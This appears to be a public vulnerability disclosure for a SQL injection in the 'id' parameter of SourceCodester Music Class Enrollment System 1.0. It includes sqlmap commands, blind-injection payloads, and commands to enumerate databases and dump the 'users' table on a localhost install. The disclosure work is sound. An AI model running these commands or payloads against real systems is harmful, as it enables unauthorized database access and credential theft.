Sourecodester Music Class Enrollment System SQL Injection vulnerability

A vulnerability classified as critical was found in SourceCodester Music Class Enrollment System 1.0. Affected by this vulnerability is an unknown functionality of the file /mces/?p=class/view_class. The manipulation of the argument id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-268795.

Affected Software: https://www.sourcecodester.com/php/15362/music-class-enrollment-site-phpoop-free-source-code.html

Vulnerable path: http://localhost/mces/?p=class/view_class&id=4

image

Tool Used: SQLmap

Commands to recreate:

sqlmap 'http://localhost/mces/?p=class/view_class&id=4' --batch

image

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: p=class/view_class&id=4' AND 2160=2160 AND 'CscS'='CscS

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: p=class/view_class&id=4' AND (SELECT 6865 FROM (SELECT(SLEEP(5)))TZfN) AND 'sHBo'='sHBo
---

sqlmap 'http://localhost/mces/?p=class/view_class&id=4' --batch –dbs

image

sqlmap 'http://localhost/mces/?p=class/view_class&id=4' --batch -D mces_db -T users –dump

image